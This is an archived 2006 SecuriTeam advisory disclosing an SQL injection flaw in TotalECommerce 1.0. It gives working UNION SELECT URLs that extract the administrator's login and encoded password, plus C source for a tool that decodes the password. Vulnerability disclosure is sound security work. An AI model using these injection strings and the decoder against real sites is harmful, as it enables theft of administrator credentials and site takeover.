Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [NT] TotalECommerce index.asp id SQL Injection |
|---|---|
| Date: | 5 Mar 2006 10:07:47 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - TotalECommerce index.asp id SQL Injection ------------------------------------------------------------------------ SUMMARY <http://www.boomerangsoftware.com/Products/TotalECommerce/TECInfo.htm> TotalECommerce is "a complete ecommerce solution for FrontPage, includes shopping cart, online store administration, order processing, order verification by email, etc". An SQL injection vulnerability in the product allows remote attackers to insert arbitrary values into the product's database. DETAILS Vulnerable Systems: * TotalECommerce version 1.0 How and Example: GET -> http://[victim]/[dir]/index.asp?secao=[PageID]&id=[SQL] EXAMPLE 1 -> http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION select senha,senha,senha,senha,senha,senha,senha, senha,senha,senha,senha,senha,senha,senha,senha,senha, senha,senha,senha,senha,senha,senha,senha,senha,senha,senha, senha,senha,senha,senha,senha,senha,senha+from+administradores EXAMPLE 2 -> http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION select login,login,login,login,login,login,login, login,login,login,login,login,login,login,login,login,login,login,login,login, login,login,login,login,login,login, login,login,login,login,login,login,login+from+administradores With example 1 remote attacker can get admin's encrypted password and with example 2 remote attacker can get admin's login name. NOTE: [PageID]: must be working page id you can get some from frontpage. Decrypter source in C: /********************************************* * TotalECommerce PWD Decrypter * * Coded by |SaMaN| for nukedx * * http://www.k9world.org * * IRC.K9World.Org * *Advisory: http://www.nukedx.com/?viewdoc=18 * **********************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { char buf[255]; char buf2[255]; char buf3[255]; char *texto; char *vcrypt; int i,x,z,t = 0; char saman; texto = buf; vcrypt = buf2; printf("%s", "|=------------------------------------=|\n"); printf("%s", " Coded by |SaMaN| @ IRC.K9World.Org\n"); printf("%s", "|=------------------------------------=|\n\n"); printf("%s", "Enter crypted password: "); scanf("%200s", buf); if (!texto) vcrypt = ""; for (i = 0; i < strlen(texto); i++) { if ((vcrypt == "") || (i > strlen(texto))) x = 1; else x = x + 1; t = buf[i]; z = 255 - t; saman = toascii(z); snprintf(buf3, 250, "%c", saman); strncat(buf2, buf3, 250); } printf("Result: %s\n", buf2); return; } ADDITIONAL INFORMATION The information has been provided by <mailto:nukedx@nukedx.com> Mustafa Can Bjorn. The original article can be found at: <http://www.nukedx.com/?getxpl=18> http://www.nukedx.com/?getxpl=18 ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [UNIX] Pixelpost Multiple Vulnerabilities, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] Gregarius XSS and SQL Injection Vulnerabilities, SecuriTeam |
| Previous by Thread: | [UNIX] Pixelpost Multiple Vulnerabilities, SecuriTeam |
| Next by Thread: | [UNIX] Gregarius XSS and SQL Injection Vulnerabilities, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |